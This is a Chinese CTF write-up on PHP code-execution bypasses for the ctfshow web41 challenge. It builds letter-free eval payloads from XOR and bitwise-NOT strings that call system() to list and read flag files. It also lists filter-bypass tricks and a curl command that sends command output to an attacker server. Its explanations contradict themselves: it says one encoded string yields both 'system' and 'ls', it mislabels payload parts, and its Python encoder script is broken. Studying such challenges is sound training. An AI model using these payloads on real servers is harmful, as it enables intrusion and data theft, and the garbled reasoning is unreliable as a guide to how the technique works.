PHP代码执行漏洞深度解析:从CTF题目看无字符数字WebShell构造

📅 2026/8/2 5:00:51
PHP代码执行漏洞深度解析:从CTF题目看无字符数字WebShell构造
1. 项目概述从一道CTF题目看PHP代码执行的艺术最近在带新人入门CTFCapture The Flag的Web安全方向发现很多朋友对PHP代码执行这类基础但核心的漏洞理解不够透彻往往停留在“知道有eval()很危险”的层面。正好ctfshow平台的“web入门”系列第41题web41是一个非常经典的案例它没有直接给出eval却巧妙地考察了我们对PHP语言特性、代码执行原理以及绕过技巧的深度理解。这道题就像一把钥匙能帮你打开PHP代码审计与漏洞利用的新世界大门。无论你是刚接触安全的新手还是想巩固基础的爱好者通过拆解这道题你不仅能解出flag更能掌握一套在真实渗透测试或代码审计中寻找和利用代码执行点的思维方法。接下来我就以从业者的视角带你一步步“盘”清楚这道题。2. 核心漏洞原理与题目环境解析2.1 PHP代码执行漏洞的本质在深入题目之前我们必须先统一认知什么是PHP代码执行漏洞简单说就是攻击者能够将自身可控的输入注入到服务器端的PHP代码上下文中并让服务器执行这些输入作为代码。最常见的危险函数是eval()和assert()它们会把字符串参数当作PHP代码来执行。但危险远不止于此任何能动态执行代码的机制都可能成为突破口例如preg_replace()函数在特定模式下的/e修饰符PHP5.5已废弃但老系统仍有、create_function()函数内部使用eval、以及一些回调函数如array_map()、usort()配合call_user_func()等。这道题的精妙之处在于它通常不会直白地给你一个eval($_POST[‘cmd’])。出题人会设置各种过滤、限制你需要像解谜一样利用有限的“零件”去拼装出能够执行任意代码的“机器”。这考察的正是你对PHP语法、函数特性、甚至是运算符优先级和类型转换的熟悉程度。2.2 web41题目场景与初步探测根据ctfshow平台一贯的风格以及“web入门”系列的定位web41题很可能提供了一个包含漏洞的PHP源码页面。我们需要通过构造特定的输入Payload让服务器执行我们想要的命令从而读取或输出隐藏在服务器上的flag。典型的题目界面可能是一个简单的输入框或者通过GET/POST参数传递数据。我们的第一步永远是查看源代码。按下F12或者右键“查看网页源代码”寻找可能的后端代码逻辑。有时代码会直接注释在HTML里有时则需要通过参数触发错误来间接获取信息。假设我们通过某种方式比如参数?source1看到了后端PHP代码的核心片段它可能长这样?php error_reporting(0); $code $_GET[code]; if(strlen($code) 105){ if(preg_match(/[A-Za-z0-9_$]/,$code)){ die(Hacker!); } eval($code); }else{ die(Too Long!); } ?这段代码就是我们的“战场”。它做了以下几件事error_reporting(0);关闭所有错误报告防止我们通过错误信息获取路径等敏感内容。$code $_GET[code];从URL的code参数获取用户输入。第一个判断输入字符串长度不能超过105个字符。这是一个限制条件。第二个判断使用preg_match进行正则匹配。如果$code中包含任何大小写字母、数字、下划线或美元符号就直接输出“Hacker!”并终止脚本。这是核心过滤。如果通过了以上两个检查则使用eval($code);执行我们的输入。符号用于抑制可能产生的错误信息。现在目标非常明确我们需要构造一个长度不超过105字符的字符串作为code参数的值。这个字符串不能包含任何字母、数字、下划线(_)和美元符号($)但它最终又必须能让我们执行任意PHP代码例如执行system(‘ls’)或cat /flag。这听起来像是一个不可能完成的任务但正是PHP语言的灵活性让它成为了可能。注意在实际解题中代码的过滤条件可能略有不同例如可能过滤了更多字符如点.、括号()或者长度限制更严格。但解题思路是相通的。我们以此为例进行原理性拆解。3. 无字符数字构造Payload的核心思路3.1 利用PHP的字符串连接与异或运算既然不能直接出现字母和数字我们就需要“创造”出它们。在PHP中字符串可以通过多种方式动态生成。方法一利用非字母数字字符的异或XOR运算在PHP中两个字符串进行异或运算实际上是对它们每个字符的ASCII码进行按位异或结果生成一个新的字符串。例如echo A ^ }; // 输出字符 x因为A的ASCII是65}的ASCII是12565 ^ 125 6060对应的ASCII字符是。关键在于如果我们精心选择两个完全不包含被过滤字符的字符串进行异或其结果可以是我们想要的任何字母、数字或符号。网络上已经有安全研究员整理出了利用只有特殊字符如^、~、|、等来生成所有字母数字的映射表。我们可以通过编写一个简单的脚本暴力找出能生成我们所需字符的字符对。例如要生成字符串phpinfo我们可以找到一系列字符对使得每一对异或的结果分别是p、h、p、i、n、f、o。然后将这些字符对连接起来中间用.连接符或|异或运算符连接最后赋值给一个变量或直接执行。方法二利用取反~运算PHP的取反运算符~会将操作数的每一位取反0变11变0。对于字符串也是按字符取反。一个有趣的性质是对一个字符取反两次会得到它本身。更重要的是一个字符的取反结果绝对不可能是字母或数字因为字母数字的ASCII码范围是48-57、65-90、97-122取反后对应的值都落在这个范围之外。这意味着我们可以用取反来绕过对字母数字的过滤。例如~”%8C%86%8C%8B%9A%92″这个字符串看起来是一堆URL编码后的特殊字符。但如果我们直接echo ~”%8C%86%8C%8B%9A%92″;PHP会先对字符串”%8C%86%8C%8B%9A%92″进行取反得到的结果正是”system”。这是因为%8C等是”system”每个字符的ASCII码取反后再URL编码的结果。我们可以通过脚本计算任意命令的取反形式。3.2 动态函数调用与命令执行生成了命令字符串如”system”和参数字符串如”ls”后我们还需要调用它。在PHP中有多种方式可以动态调用函数。可变函数如果$a “system”;那么$a(“ls”);就等价于system(“ls”);。这要求我们能把函数名赋值给一个变量。但在我们的过滤条件下$符号也被禁用了所以无法直接使用$a这种变量形式。call_user_func()/array_map()等回调函数这些函数接受字符串形式的函数名作为参数。例如call_user_func(“system”, “ls”);。但问题又回到了原点如何在不使用字母数字的情况下构造出字符串”call_user_func”这比直接构造”system”更长更复杂。利用$_GET或$_POST数组本身这是本题的关键突破点之一。$_GET本身是一个超全局变量它的键名和键值我们可以通过URL参数控制。虽然正则过滤了我们的输入$code但它并没有过滤$_GET数组其他元素的内容。我们可以尝试这样的Payload?code$_GET[a]($_GET[b])asystembls但这里有个致命问题$code的内容是$_GET[a]($_GET[b])这里面包含了被过滤的字母、数字和下划线所以这个Payload会被拦截。那么如何构造一个不包含被禁字符又能引用到我们通过其他参数传入的值的表达式呢这就需要用到PHP中一些非常“骚”的操作了。4. 实战构造从理论到可用的Payload4.1 利用PHP的字符串解析特性与超全局数组PHP在解析字符串时有一些特性可以被我们利用。例如在双引号字符串中可以直接解析数组。但更关键的是我们可以通过${}结构来执行复杂的表达式。一个经典的技巧是$_GET[1]可以用${_GET}[1]来表示。看起来差不多但请注意在${_GET}中_GET被当作了一个常量PHP会先查找名为_GET的常量如果没找到会将其转化为字符串”_GET”然后将其作为键名去全局变量数组中查找。由于_GET本身就是一个超全局数组的名称所以${_GET}最终就指向了$_GET这个数组。现在我们有了一个不包含$符号的、引用$_GET数组的方法。接下来我们需要访问这个数组的某个元素。我们可以使用{}来包裹下标。例如${_GET}{1}就相当于$_GET[1]。但是我们的过滤正则/[A-Za-z0-9_$]/匹配了_下划线。所以_GET中的下划线也会被匹配到导致Payload被拦截。我们必须找到一种方法在不直接书写_GET这个字符串的情况下引用到$_GET数组。4.2 终极武器利用未定义常量与字符串拼接在PHP中如果你使用了一个未定义的常量PHP会发出一个警告Warning并将这个常量的名称当作一个字符串值来处理。例如echo abc; // 如果abc未定义会输出 Warning: Use of undefined constant abc - assumed abc并输出字符串 abc这个特性在开启错误抑制或error_reporting(0)时警告信息不会显示但字符串转换的行为依然存在。那么我们可以构造_GET作为一个未定义常量吗不行因为_GET包含了被过滤的下划线。但是我们可以用其他方式生成这个字符串。还记得我们之前提到的异或和取反吗我们可以用一堆特殊字符通过异或运算生成字符串_GET。假设我们通过计算得到“_GET” “{“ ^ “”;这只是一个示意实际需要精确计算。那么我们可以这样写${“{“ ^ ““}[1](${“{“ ^ ““}[2])这段代码的意思是“{“ ^ ““的结果是字符串”_GET”。${“_GET”}[1]就等价于$_GET[1]假设我们通过URL传入?1system。同理${“_GET”}[2]等价于$_GET[2]假设我们传入?2ls。整个表达式就变成了system(“ls”)。最关键的是整个Payload“${“{“ ^ ““}[1](${“{“ ^ ““}[2])”中只包含了花括号、尖括号、方括号、括号、引号和异或运算符^完全没有任何字母、数字、下划线和美元符号完美绕过了正则过滤4.3 长度优化与最终Payload构造现在我们已经有了核心思路但还需要考虑长度限制105字符。上面的例子中_GET重复出现了两次占用了不少字符。我们可以通过赋值来缩短长度。但在无法使用$定义变量的情况下我们可以利用参数本身。一个更精简的写法是code${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)%ffls让我们来拆解这个“魔法”般的Payload~”%A0%B8%BA%AB”这是字符串_GET的取反形式。%A0等是_、G、E、T每个字符ASCII码取反后URL编码的结果。~运算符对其进行取反得到原始字符串”_GET”。${~”%A0%B8%BA%AB”}这就得到了$_GET数组。[%ff]这是访问数组的键。%ff是一个单字符ASCII 255它不是字母数字所以能通过过滤。它对应的就是$_GET[‘%ff’]。整个${~”%A0%B8%BA%AB”}[%ff]就等价于$_GET[‘%ff’]。在URL中我们传入了参数%ffls。所以$_GET[‘%ff’]的值就是字符串”ls”。最后这个表达式被eval执行时变成了”ls”。这似乎不对我们不是要执行system(“ls”)吗这里有一个至关重要的技巧当eval执行一个单独的字符串时比如eval(“ls”);它仅仅是一个字符串不会被执行。但是在我们的Payload后面还有一部分(~”%8C%86%8C%8B%9A%92″)。注意这里没有逗号分隔。实际上整个code参数的值是${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)它的结构是数组[键](参数)。在PHP中如果数组[键]的值是一个字符串比如”system”那么后面加上括号和参数就构成了函数调用”system”(参数)。这就是PHP的可变函数特性。那么”system”字符串从哪里来就来自(~”%8C%86%8C%8B%9A%92″)。这是字符串”system”的取反形式。所以整个Payload被eval执行时实际是eval(“${~’%A0%B8%BA%AB’}[%ff](~’%8C%86%8C%8B%9A%92′)”); // 执行过程 // 1. 计算 ~’%A0%B8%BA%AB’ ‘_GET’ // 2. 计算 ${‘_GET’}[%ff] $_GET[‘%ff’] ‘ls’ (从URL参数获得) // 3. 计算 ~’%8C%86%8C%8B%9A%92’ ‘system’ // 4. 最终变成’ls(‘system’) // 5. 这看起来不对应该是 ‘system(‘ls’)。这里我之前的解释有误需要修正。抱歉上面的推导出现了顺序错误。让我们重新严谨地分析这个Payload${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)~”%A0%B8%BA%AB”得到_GET。${_GET}[%ff]得到$_GET[‘%ff’]。假设我们在URL中传入?%ffsystem那么这里就是字符串”system”。于是前半部分变成了”system”。(~”%8C%86%8C%8B%9A%92″)得到字符串”ls”。整个表达式是”system”(“ls”)这正是一个以字符串”system”作为函数名”ls”作为参数的函数调用语句。所以完整的URL请求应该是http://靶机地址/?code${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″)%ffsystem这样$_GET[‘%ff’]的值是”system”(~”%8C%86%8C%8B%9A%92″)的值是”ls”最终执行了system(“ls”)。实操心得这种Payload的构造需要对PHP的求值顺序有清晰的理解。一个简单的调试方法是将Payload的关键部分在本地PHP环境中用echo替换eval进行测试观察每一步的中间结果。例如echo ~”%A0%B8%BA%AB”;和echo ~”%8C%86%8C%8B%9A%92″;。5. 命令执行后的利用与Flag获取5.1 探测目录与文件成功执行system(“ls”)或system(“dir”)Windows系统后我们会在网页上看到当前目录的文件列表。通常CTF的flag文件可能命名为flag、flag.txt、flag.php、index.php源码里包含flag或者位于根目录/、上级目录../。我们需要继续执行命令来读取文件内容。常用的命令有cat flag直接输出flag文件内容。more flag、less flag、head flag、tail flag分页或查看文件头尾。tac flag反向输出有时用于绕过一些过滤。nl flag带行号输出。strings flag打印文件中可打印的字符串适用于二进制文件。grep -r “ctfshow{” /在整个根目录递归搜索包含ctfshow{字符串的文件假设flag格式如此。由于我们的Payload长度有限需要构造最短的命令。cat命令通常是最短的。我们需要用取反法构造字符串”cat”或者用异或法。5.2 构造读取Flag的最终Payload假设我们发现当前目录下有一个文件叫flag.php。我们需要执行cat flag.php。我们可以设计两个GET参数一个传递函数名system一个传递命令cat flag.php。但命令cat flag.php包含空格和点我们需要对其进行取反或异或编码。为了节省code参数的长度我们可以把较长的命令字符串放到另一个GET参数里。最终Payload构造如下http://靶机地址/?code${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″ . ${~”%A0%B8%BA%AB”}[%aa])%ffsystem%aacat flag.php拆解code参数${~”%A0%B8%BA%AB”}[%ff](~”%8C%86%8C%8B%9A%92″ . ${~”%A0%B8%BA%AB”}[%aa])${~”%A0%B8%BA%AB”}即$_GET。[%ff]访问键%ff其值为system。(~”%8C%86%8C%8B%9A%92″)是ls的取反。但这里我们不是要ls。.是字符串连接符。${~”%A0%B8%BA%AB”}[%aa]访问键%aa其值为cat flag.php。所以括号内的完整内容是~”%8C%86%8C%8B%9A%92″ . “cat flag.php”。这不对因为取反部分和字符串直接连接没有意义。这里出现了逻辑错误。我们的目的是让system执行cat flag.php所以应该把cat flag.php这个字符串作为system函数的参数。但cat flag.php本身也需要用无字符数字的方式构造这会使code参数变得非常长可能超过105字符限制。更优的方案是将cat flag.php作为第二个参数传入并在code中拼接。但system函数只接受一个字符串参数。我们可以用system(“cat flag.php”)。所以我们需要构造的字符串是”cat flag.php”。我们可以用取反法单独构造cat和flag.php然后拼接。但这样很长。一个更巧妙的思路是直接让system执行来自另一个参数的命令字符串。也就是说我们只构造system函数名而函数参数直接引用另一个GET参数这个参数的值是已经编码好的命令字符串。但这里有个问题system函数需要的是一个字符串参数。如果我们直接写system($_GET[‘cmd’])那么$_GET[‘cmd’]的值会被当作字符串直接传递给system。如果cmdcat flag.php那么system就会执行cat flag.php。完美所以我们重新设计Payload目标执行system($_GET[cmd])。需要构造的code${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[%aa])传入参数%ffsystem,%aacmd。但是${~”%A0%B8%BA%AB”}[%aa]得到的是$_GET[‘cmd’]这本身是一个变量而不是变量里的值。我们需要再套一层。在PHP中$_GET[‘cmd’]就是我们要的字符串值。所以${~”%A0%B8%BA%AB”}[%aa]的结果就是字符串”cat flag.php”假设我们传入了cmdcat flag.php。所以这个结构是可行的。那么最终的、最清晰的Payload应该是http://靶机地址/?code${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[%aa])%ffsystem%aacmdcmdcat flag.php或者为了更直观可以把%aa改成cmd但cmd包含字母可能被过滤不对过滤只针对code参数的内容对URL中其他参数ff,aa,cmd的键和值是没有过滤的。所以我们可以直接用http://靶机地址/?code${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[cmd])%ffsystemcmdcat flag.php计算一下code的长度${~”%A0%B8%BA%AB”}[%ff](${~”%A0%B8%BA%AB”}[cmd])这个字符串里没有字母数字下划线美元符号符合要求。长度也远小于105。发送这个请求服务器端eval执行的代码就是$_GET[system]($_GET[cmd]); // 即 system(cat flag.php);这样就能成功在页面上看到flag.php的内容其中包含flag。5.3 其他可能的Flag位置与读取方式如果cat flag.php没有输出flag可能flag在文件的其他位置或者需要其他命令。查看文件所有内容cat *或more *。查找包含特定字符串的文件grep -r “ctfshow{“ .在当前目录搜索。查看源代码如果flag在PHP变量里直接cat可能看不到因为PHP执行了。可以用php -r “include(‘flag.php’); echo $flag;”但这需要能执行多段代码。更简单的方法是用system(“cat flag.php”)时查看网页源代码CtrlU因为PHP代码?php ... ?不会被浏览器解析会在源码中显示。绕过空格过滤如果题目还过滤了空格可以用${IFS}、$IFS$9、%09制表符、、等代替。绕过关键字过滤如果system、cat等关键字被过滤可以用拼接、反转、编码、通配符如/???/c?t代替/bin/cat等方式绕过。6. 常见问题排查与高级技巧延伸6.1 Payload发送后无回显怎么办检查命令是否执行成功首先执行一个肯定有回显的命令比如system(“pwd”)或system(“echo 123”)确认代码执行漏洞是否存在且我们的Payload语法正确。尝试输出重定向可能命令执行了但输出被重定向到了别处。可以尝试将输出写入一个Web可访问的文件system(“cat flag.php /var/www/html/result.txt”)然后访问/result.txt查看。使用DNSLOG或HTTP外带如果完全没有回显盲注可以将命令执行的结果通过curl或ping发送到我们可控的服务器。例如system(“curl http://your-server.com/cat flag.php”)。这需要目标服务器能出网。使用passthru或shell_exec代替system有时system函数可能被禁用可以尝试其他命令执行函数如passthru、shell_exec、exec、popen、proc_open等。用同样的方法构造这些函数名的字符串。6.2 遇到更严格的过滤如何应对web41的过滤字母数字下划线美元符已经比较强。如果遇到更变态的过滤比如还过滤了反引号、引号、点、括号等就需要更高级的技巧利用.点空格点在PHP中.是字符串连接符。如果过滤了点可以用?和?php标签来拼接字符串但这需要能执行多段代码。利用PHP标签? ‘abc’?是短标签等价于?php echo ‘abc’;?。可以用于输出信息。利用include包含如果允许包含文件可以将Payload放在其他参数中然后用include($_GET[‘a’])包含但需要能上传文件或知道绝对路径。利用session_id如果session可控可以将Payload存入session然后通过session_id()包含。利用.htaccess如果存在文件上传且能覆盖.htaccess可以设置php_value来执行代码。6.3 自动化工具与脚本对于这类题目手工构造取反、异或Payload非常繁琐。通常我们会编写Python脚本来自动生成。脚本的核心是计算目标字符串的取反或异或表示。这里提供一个生成取反Payload的简单脚本思路import urllib.parse def generate_negate_payload(command): 生成命令的取反形式Payload组件。 例如generate_negate_payload(system) - %8C%86%8C%8B%9A%92 result for char in command: # 对每个字符的ASCII码取反然后URL编码 negated_char chr(~ord(char) 0xFF) # 确保在0-255范围内 result urllib.parse.quote(negated_char) return result # 生成 _GET 和 system 的取反形式 print(“_GET 取反:”, generate_negate_payload(‘_GET’)) # 输出: %A0%B8%BA%AB print(“system 取反:”, generate_negate_payload(‘system’)) # 输出: %8C%86%8C%8B%9A%92 print(“cat 取反:”, generate_negate_payload(‘cat’)) print(“ls 取反:”, generate_negate_payload(‘ls’))有了这些组件就可以快速拼装出最终的Payload。6.4 实战中的思维总结面对这类代码执行题目我的经验是形成一个固定的排查与利用流程信息收集查看源码、尝试报错、扫描目录尽可能了解后端代码逻辑和过滤规则。定位执行点找到eval、assert、preg_replace的/e模式等函数分析其参数是否可控。分析过滤仔细阅读正则过滤或字符串替换逻辑列出所有被禁止的字符。寻找可用字符列出所有未被过滤的字符特别是运算符(.^~|-*/%?:[](){}”’#\)和特殊符号。构思生成方案利用可用字符通过异或、取反、自增、字符串解析等方式生成被过滤的字符和字符串。构造最小Payload优先使用取反通常更短考虑长度限制将可变部分如命令移到其他GET参数中缩短核心Payload。测试与迭代先在本地或简单测试环境验证Payload语法再应用到题目中。根据回显调整命令。获取Flag执行查找、读取文件命令注意查看网页源代码可能Flag就在注释或PHP变量中。这道web41题就像一把精心设计的锁而我们对PHP语言特性的深入理解就是打开它的万能钥匙。它考验的不是简单的漏洞利用而是对编程语言本身“魔法”的掌握程度。这种能力在真实的代码审计和高级渗透测试中至关重要。当你能够不依赖字母数字写出任意代码时你对代码执行漏洞的理解才算真正入门了。